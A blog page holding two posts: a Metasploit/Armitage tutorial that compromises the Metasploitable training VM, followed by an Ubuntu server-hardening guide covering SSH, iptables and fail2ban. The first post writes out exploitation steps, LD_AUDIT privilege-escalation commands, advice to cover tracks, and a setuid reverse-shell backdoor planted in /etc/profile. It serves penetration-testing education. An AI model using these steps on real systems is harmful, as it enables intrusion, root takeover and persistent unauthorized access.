Linux menu

Thursday, September 25, 2014

Hacking Linux with Armitage vs Metasploit

Metasploit is a popular exploitation framework that has seen plenty of coverage on ethicalhacker.net. This article introduces Armitage, a new GUI for Metasploit built around the hacking process. Today, I will show you how to use Armitage to scan a Linux host, find the right exploit, exploit the host, and handle post-exploitation. By following this process, you will learn how to use Armitage and Metasploit in your own work.
The target we will use is the Metasploitable Linux virtual machine. Metasploitable contains several vulnerabilities making it a safe, and, dare I say ethical, training ground for future penetration testers.
Read the Armitage documentation to get Armitage running. Through the rest of this article, I will assume that you have Metasploitable running, Armitage is ready, and that you have downloaded this Python script that we will use later.  Let’s get to work.
Discuss in Forums {mos_smf_discuss:/root}

Armitage’s User Interface

The Armitage user interface has three parts. The modules area lets you search and launch any of Metasploit’s modules. The targets area displays your active targets and sessions. Below the modules and targets are the tabs. Each dialog, shell, and console is opened in its own tab.
image1.png
The Armitage User Interface

Scanning

Before we can attack a host, we must first perform our reconnaissance step. Armitage provides several tools for this in the Hosts menu. You can import a vulnerability or port scan, launch NMap, or launch Metasploit’s discovery modules.
I recommend launching NMap outside of Armitage and importing the results. By doing this, you will get feedback on the scan while it runs. To launch a full port scan with OS detection and service identification, use:
nmap -p 1-65535 -T5 -A -v 172.16.146.0/24 -oX scan.xml
Replace 172.16.146.0/24 with your network description or the IP address of Metasploitable. Once the scan is complete, import it into Armitage. Go to Hosts -> Import Hosts -> Nmap Scan Results and select your file. You will now see the Metasploitable Linux box in the Armitage targets view.
 image2.png
A Host
To view the results of the NMap scan: right-click the host and select Services. This will bring up a tab showing the results of our scan. The results are grouped into name, port, proto, and info columns.
image3.png
Metasploitable’s Services
The name column is the name of the service nmap identified on the scanned port. Proto tells you if the service detected uses the UDP or TCP protocol. The port number lets you know which port we’re talking about. And finally, the info column gives you a banner grab from the port. This is very important as it helps us identify which service is running on that port. We’ll use this information to come up with attack options.

Attack: Simple Remote Exploitation

Metasploit has over 650 exploits. If you don’t know which one you want to use, this list may seem intimidating. Fortunately, Armitage can help narrow this list down. Go to Attacks -> Find Attacks -> by port. Armitage will analyze your hosts and build a custom attack menu for each. Wait for the "Attack analysis is complete" dialog before continuing.
Right-click on the target and you’ll notice an attack menu. The attack menu will have submenus for each exploitable service on the target host. Not all of these exploits are applicable, but these are the best candidates.
Looking at the services information (see previous section), we see that Metasploitable is running ProFTPD 1.3.1. Go to Attack -> ftp and select one of the ProFTPD exploits. Selecting an exploit will bring up a dialog with information about the exploit and options you can adjust. If you read the description, you’ll see that the ProFTPD exploits are for a different version of ProFTPD. Drats, this attack won’t work for us.
image4.png
Armitage’s Exploit Launcher Dialog
Right-click the target again, go to Attack -> Samba -> usermap_script. You’ll notice this is for a specific version of Samba in the 3.0.20-25 range. You’ll also observe from the services tab that our target is running Samba 3.x. We don’t know the exact version it’s running. It’s worth trying the exploit. There are no settings you need to change here. Simply click launch to launch the exploit.
If you’re successful, the target host will turn red with lightning bolts. Congratulations, you’ve exploited the target! Right-click your target and select Shell 1 -> Interact to open a tab with your shell. We’ll cover this more when we get to post-exploitation.
image5.png
A Compromised Host
If you’re familiar with Metasploit, you may be asking about other payloads. Armitage chooses the Metasploit payload for you. If you’re attacking Windows, Armitage will choose meterpreter. If you’re attacking any other operating system, Armitage will select a command shell payload. If you’re not a Metasploit warrior yet, know that exploits are the delivery mechanism and payloads are the programs that get executed on the exploited host.
Now let’s undo all that work by selecting the Console tab and typing sessions -K. This will kill all existing sessions.

Attack: Web Application Exploitation

In the future, I expect the Metasploit Framework will have a mature capability to audit and attack any web application. Today, there are several exploits for common web applications. Right-click the target, go to Attack ->Webapp to see some of them.
image6.png
So many web app exploits!
These exploits were chosen, because they’re associated with the open port on your target. Unfortunately, you may not know which of these applications are installed. This is ok as Armitage will help again. Select the check exploits… item at the bottom of this menu.
The check exploits… command will open a console tab and run an active check of each exploit against the selected target. This is accomplished using Metasploit’s check command. Some exploits do not support this, but many of them do.
Once the checks are complete, type Ctrl+F to open a search dialog. Type vulnerable and hit enter. This search will lead you to any exploits that worked.
image7.png
Found a Working Exploit
You’ll notice that tikiwiki_graph_formula_exec is vulnerable. Right-click the target and select Attack -> Webapp -> tikiwiki_graph_formula_exec. As we did before, click the Launch button when the dialog comes up. Now just wait for the computer to turn red.
To kill this shell, right-click the target and navigate to Shell 2 -> Disconnect.

Attack: Brute Force Login

This next attack will require a few steps. Look at port 8180 in the services tab. From the info field, we can see this port is running Apache Tomcat JSP 1.1.
Click the search field in the module browser. Type tomcat and press enter. There is one exploit for Tomcat:exploit/multi/http/tomcat_mgr_deploy. Double-click this module to open its launch dialog. If you look at the variables, you’ll notice we need a username and a password. We don’t have these yet, so close this launch dialog.
image8.png
Module Search Results
Metasploit has several auxiliary modules for guessing usernames and passwords. These modules are usually named service_login. Looking at the module search results for tomcat, you’ll auxiliary/http/tomcat_mgr_login. This is what we need. Double-click it to open a launch dialog.
image9.png
tomcat_mgr_login Dialog
You’ll notice all of the parameters are set including the USERPASS_FILE option. USERPASS_FILE points to a file with a list of usernames and passwords. If you double-click this option in the Option column, Armitage will open a file chooser to let you select another file. Fortunately, this file is fine. Make sure you set RPORT to the correct value though. The target is running Tomcat on port 8180, not the default value of 8080.
image10.png
Password Guessing Output
Click launch to start the brute force. If you read the output, you’ll notice the login is tomcat:tomcat. That’s easy enough.
Open the launcher for the tomcat_mgr_deploy exploit. Set the RPORT option to 8180 as well. Set USERNAMEand PASSWORD to tomcat. Select the Target of the host. Here we’re attacking a Linux host. Click Launch and wait. Congratulations you have obtained another shell!

Post Exploitation

Now that you’ve learned how to get access to the host, let’s talk about post exploitation. Right-click the compromised host, go to the Shell 3 menu, and select Interact to interact with the shell. This will bring the shell up in its own tab.
Standard console features apply here. You may use the up/down arrows to access your command history. You may also type Ctrl+F if you need to search through the output. If you close the tab, your shell session will still exist. You may open it again by selecting the Interact menu item again.
To find out who you are, type: id in the shell. You’ll see from the Tomcat attack that you’re tomcat55. Let’s work on getting root.

Privilege Escalation

Privilege escalation in Linux is something that depends on your environment. If you’re looking for some ideas, visithttp://www.exploit-db.com and search for recent local exploits on Linux. One bug found by Tavis Ormandy stands out. This bug allows us to create a new world-writeable file owned by the root user anywhere on the system. Tavis’s example writes a file to crontab and uses that to run our desired commands as the root user. In my tests, crontab did not execute these commands on Metasploitable. This happens. So, what else can we do? Examining other recent advisories, you’ll learn about the Ubuntu mountall privilege escalation vulnerability. A bug in the mountall utility leaves a world-writeable root.rules file in /dev/.udev/rules.d. Anyone capable of writing to this file can use it to execute arbitrary commands as the root user. A quick ls reveals that root.rules doesn’t exist in this folder. Maybe this is not our lucky day.
Do you see any options? Let’s modify Tavis’s example to create a world-writeable root.rules file and get a root shell through it. Type the following commands into your target’s shell:
umask 0
export LD_AUDIT="libpcprofile.so"
export PCPROFILE_OUTPUT="/dev/.udev/rules.d/root.rules"
ping
export LD_AUDIT=""
cd /tmp
You will now have a world-writeable root.rules file in /dev/.udev/rules.d. You now need to upload mountall-CVE-2010-2961.py to the Metasploitable host. Right-click in the shell window and select the Upload… menu item. Navigate to the mountall-CVE-2010-2961.py file and click Open. Armitage will use the UNIX printf command to upload the file. Since the file is so small, the upload will be instant. If the file were larger, Armitage would display the upload progress.
This Python script populates the root.rules file with commands to create a setuid shell at /tmp/toor. It also generates UDEV events to force the system to evaluate the rules file. Run this python script on the target to get root:
python mountall-CVE-2010-2961.py
whoami 
image11.png
Armitage Privilege Escalation
Congratulations, you’re now root. Make sure to cover your tracks by deleting the root.rules, the mountall-CVE-2010-2961.py, and /tmp/toor files.

Persistence

Once you have root, the next step is to add a backdoor to keep your access. Clear the module browser search box and hit enter. This will restore the default module list. Navigate to payload/linux/x86/shell_reverse_tcp. Double-click shell_reverse_tcp to open a launch dialog.
Here you can generate a Metasploit payload executable. Change the LPORT value to 1234. Select elf for the output type. Elf is a file format for executables on Linux. Click Launch and save the file as backdoor. Now we have a program that will connect to our attack box on port 1234 with a shell when run.
Now let’s set up a listener for our callback shell. Go to Armitage -> Listeners -> Reverse. Type 1234 as the port and click Start Listener.
Right-click in the shell window and select Upload… to upload backdoor to the target host. Type the following commands:
mv backdoor /usr/bin/setup.host
chmod +x /usr/bin/setup.host
chmod ug+s /usr/bin/setup.host
echo "setup.host &n" >>/etc/profile 
These commands add our setuid backdoor to the global profile file. When a user logs in, we will receive a root shell from our target.
Kill all shell sessions with sessions -K in the Metasploit console. Switch to the Metasploitable virtual machine. Login as the user msfadmin with the password msfadmin. If you look at Armitage, you should see a new shell session. Open it up and type whoami.

Conclusion

I’ve shown you how to attack a Linux machine. You saw how to use nmap to scan the target. You learned how to interpret the results of the scan to find and launch attacks. You also learned how to escalate your privileges and persist yourself.
While Metasploit and Armitage weren’t the only tools in this adventure, you can see how they aided this process. Armitage does not hack for you, but it provides tools (e.g., the printf upload feature) to make the process easier.
Some of the steps from this article are shown in the following video. Watch it to whet your appetite. To get the most out of this article, download the materials mentioned and carry out this scenario yourself. If you want to challenge yourself, try getting into Metasploitable in other ways. Good luck and happy hacking!

Securing a Linux Server

It is a rarity to watch someone secure a freshly installed server right off the bat, yet the world we live in makes this a necessity. So why do so many people put it off until the end, if at all? I’ve done the exact same thing, and it often comes down to wanting to get right into the fun stuff. Hopefully this post will show that it is far easier than you think to secure a server, and can be quite entertaining to look down from your fortress, when the attacks begin to flow.
This post is written for Ubuntu 12.04.2 LTS, however you can do similar things on any other Linux distribution.

Where do I begin?

If this server already has a public IP, you’ll want to lock down root access immediately. In fact, you’ll want to lock down SSH access entirely, and make sure that only you can get in. Add a new user, and add it to an admin group (preconfigured in /etc/sudoers to have access to sudo).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo addgroup admin
Adding group 'admin' (GID 1001)
Done.

$ sudo adduser spenserj
Adding user `spenserj' ...
Adding new group `spenserj' (1002) ...
Adding new user `spenserj' (1001) with group `spenserj' ...
Creating home directory `/home/spenserj' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for spenserj
Enter the new value, or press ENTER for the default
    Full Name []: Spenser Jones
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y

$ sudo usermod -a -G admin spenserj
You’ll also want to create a private key on your computer, and disable that pesky password authentication on the server.
1
2
$ mkdir ~/.ssh
$ echo "ssh-rsa [your public key]" > ~/.ssh/authorized_keys
/etc/ssh/sshd_config
1
2
3
4
PermitRootLogin no
PermitEmptyPasswords no
PasswordAuthentication no
AllowUsers spenserj
Reload SSH to apply the changes, and then try logging in in a new session to ensure everything worked. If you can’t log in, you’ll still have your original session to fix things up.
1
2
3
$ sudo service ssh restart
ssh stop/waiting
ssh start/running, process 1599

Update the server

Now that you’re the only one with access to the server, you can stop worrying about a hacker sneaking in, and breathe normally again. Chances are good that there are some updates for your server, so go ahead and run those now.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ sudo apt-get update
...
Hit http://ca.archive.ubuntu.com precise-updates/universe Translation-en_CA
Hit http://ca.archive.ubuntu.com precise-updates/universe Translation-en
Hit http://ca.archive.ubuntu.com precise-backports/main Translation-en
Hit http://ca.archive.ubuntu.com precise-backports/multiverse Translation-en
Hit http://ca.archive.ubuntu.com precise-backports/restricted Translation-en
Hit http://ca.archive.ubuntu.com precise-backports/universe Translation-en
Fetched 3,285 kB in 5s (573 kB/s)
Reading package lists... Done

$ sudo apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages have been kept back:
  linux-headers-generic-lts-quantal linux-image-generic-lts-quantal
The following packages will be upgraded:
  accountsservice apport apt apt-transport-https apt-utils aptitude bash ...
73 upgraded, 0 newly installed, 0 to remove and 2 not upgraded.
Need to get 61.0 MB of archives.
After this operation, 151 kB of additional disk space will be used.
Do you want to continue [Y/n]? Y
...
Setting up libisc83 (1:9.8.1.dfsg.P1-4ubuntu0.6) ...
Setting up libdns81 (1:9.8.1.dfsg.P1-4ubuntu0.6) ...
Setting up libisccc80 (1:9.8.1.dfsg.P1-4ubuntu0.6) ...
Setting up libisccfg82 (1:9.8.1.dfsg.P1-4ubuntu0.6) ...
Setting up libbind9-80 (1:9.8.1.dfsg.P1-4ubuntu0.6) ...
Setting up liblwres80 (1:9.8.1.dfsg.P1-4ubuntu0.6) ...
Setting up bind9-host (1:9.8.1.dfsg.P1-4ubuntu0.6) ...
Setting up dnsutils (1:9.8.1.dfsg.P1-4ubuntu0.6) ...
Setting up iptables (1.4.12-1ubuntu5) ...
...

Install a Firewall

Running the most recent software now? Good. Go ahead and set up a firewall, and only allow what you need right at this moment. You can always add another exception later, and a few minutes of extra work won’t kill you. IPTables comes preinstalled in Ubuntu, so go ahead and set up some rules for it.
1
$ sudo mkdir /etc/iptables
/etc/iptables/rules
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT DROP [0:0]

# Accept any related or established connections
-I INPUT  1 -m state --state RELATED,ESTABLISHED -j ACCEPT
-I OUTPUT 1 -m state --state RELATED,ESTABLISHED -j ACCEPT

# Allow all traffic on the loopback interface
-A INPUT  -i lo -j ACCEPT
-A OUTPUT -o lo -j ACCEPT

# Allow outbound DHCP request - Some hosts (Linode) automatically assign the primary IP
#-A OUTPUT -p udp --dport 67:68 --sport 67:68 -j ACCEPT

# Outbound DNS lookups
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT

# Outbound PING requests
-A OUTPUT -p icmp -j ACCEPT

# Outbound Network Time Protocol (NTP) request
-A OUTPUT -p udp --dport 123 --sport 123 -j ACCEPT

# SSH
-A INPUT  -i eth0 -p tcp -m tcp --dport 22 -m state --state NEW -j ACCEPT

# Outbound HTTP
-A OUTPUT -o eth0 -p tcp -m tcp --dport 80 -m state --state NEW -j ACCEPT
-A OUTPUT -o eth0 -p tcp -m tcp --dport 443 -m state --state NEW -j ACCEPT

COMMIT
Apply the ruleset with a timeout through iptables-apply, and if you lose the connection, fix your rules and try again before continuing.
1
2
3
4
$ sudo iptables-apply /etc/iptables/rules
Applying new ruleset... done.
Can you establish NEW connections to the machine? (y/N) y
... then my job is done. See you next time.
Create the file /etc/network/if-pre-up.d/iptables, with the following content. This will automatically load your IPTables rules when you start the server.
/etc/network/if-pre-up.d/iptables
1
2
#!/bin/sh
iptables-restore < /etc/iptables/rules
Now give it execute permissions, and execute the file to ensure it loads properly.
1
2
$ sudo chmod +x /etc/network/if-pre-up.d/iptables
$ sudo /etc/network/if-pre-up.d/iptables

Fail2ban those wannabe-hackers

Fail2ban is one of my favourite tools when it comes to security, as it will monitor your logfiles, and temporarily ban users that are misusing your resources, be it brute forcing your SSH connection, or DoSing your webserver.
Install Fail2ban
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sudo apt-get install fail2ban
[sudo] password for sjones:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  gamin libgamin0 python-central python-gamin python-support whois
Suggested packages:
  mailx
The following NEW packages will be installed:
  fail2ban gamin libgamin0 python-central python-gamin python-support whois
0 upgraded, 7 newly installed, 0 to remove and 2 not upgraded.
Need to get 254 kB of archives.
After this operation, 1,381 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
...
Fail2ban installs a default configuration (/etc/fail2ban/jail.conf), but we’ll want to make our changes in /etc/fail2ban/jail.local, so copy it there.
1
sudo cp /etc/fail2ban/jail.{conf,local}

Configuration

Change the ignoreip line to your IP, and decide on an amount of time to ban the scumbags for (default is 10 minutes). You’ll also want to set up a destemail, which I normally enter as my own email address followed by ,fail2ban@blocklist.deBlockList.de is a system to track and automatically report hacking attempts to the proper abuse contact for their IP.
/etc/fail2ban/jail.local
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[DEFAULT]

# "ignoreip" can be an IP address, a CIDR mask or a DNS host
ignoreip = 127.0.0.1/8
bantime  = 600
maxretry = 3

# "backend" specifies the backend used to get files modification. Available
# options are "gamin", "polling" and "auto".
# yoh: For some reason Debian shipped python-gamin didn't work as expected
#      This issue left ToDo, so polling is default backend for now
backend = auto

#
# Destination email address used solely for the interpolations in
# jail.{conf,local} configuration files.
destemail = root@localhost,fail2ban@blocklist.de
There are a few other settings you’ll want to check out, although the defaults are quite sufficient, so skim through the file quickly until you reach the Actions section.

Actions

Actions allow you to react to malicious activity, however the default is to issue an IPTables ban, while we want it to ban and send an email. Thankfully there is a preconfigured action_wml, which does just that.
/etc/fail2ban/jail.local
1
2
3
4
# Choose default action.  To change, just override value of 'action' with the
# interpolation to the chosen action shortcut (e.g.  action_mw, action_mwl, etc) in jail.local
# globally (section [DEFAULT]) or per specific section
action = %(action_mwl)s

Jails

In order for Fail2ban to work, it needs to know what to watch. These are configured in the Jails section of the config, and there are quite a few examples pre-loaded and disabled. Since you’ve only enabled SSH access on the server so far, we’ll only enable the SSH and SSH-DDoS jails, however you’ll want to add a new jail for each publicly-accessible service that you install on this server.
/etc/fail2ban/jail.local
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[ssh]

enabled  = true
port     = ssh
filter   = sshd
logpath  = /var/log/auth.log
maxretry = 6

[ssh-ddos]

enabled  = true
port     = ssh
filter   = sshd-ddos
logpath  = /var/log/auth.log
maxretry = 6

Apply the changes

Now that we’ve configured Fail2ban, you’ll want to reload it, and confirm that it is adding the appropriate rules to IPTables.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ sudo service fail2ban restart
 * Restarting authentication failure monitor fail2ban
   ...done.

$ sudo iptables -L
Chain INPUT (policy DROP)
target     prot opt source               destination
fail2ban-ssh-ddos  tcp  --  anywhere             anywhere             multiport dports ssh
fail2ban-ssh  tcp  --  anywhere             anywhere             multiport dports ssh
...
Chain fail2ban-ssh (1 references)
target     prot opt source               destination
RETURN     all  --  anywhere             anywhere

Chain fail2ban-ssh-ddos (1 references)
target     prot opt source               destination
RETURN     all  --  anywhere             anywhere
At any time, you can use sudo iptables -L to list your rules, and subsequently list any currently-banned IPs. At the moment, Fail2ban is handling two malicious individuals:
Banned IPs
1
2
DROP       all  --  204.50.33.22         anywhere
DROP       all  --  195.128.126.114      anywhere

Staying on top of things

You should now have a server that is locked down and ready to use, however this is not the end of your security journey. Stay on top of updates (and always test them in a non-production environment first), always close ports that you don’t need, check your logs regularly, and know your servers inside-and-out.

HackerNews Followup

There are some great comments over at HackerNews, and I suggest you read through them if you’re interested in different perspectives and higher security. This post is intended as a beginners guide to security, and the end of this post does not mean your server is invulnerable. Use this to quickly lock down a new server, and then build upon it for your unique situation. You may want to look into IPV6 security, changing your SSH port (security through obscurity), secured kernels (SELinux and GRSecurity), tracking system changes, and full audits if your server has ever been unsecured, or has been online for any substantial length of time. There are hundreds of entry points into a server, and every application you install brings yet another possible hole, but with the proper tools, you can go to bed without worries.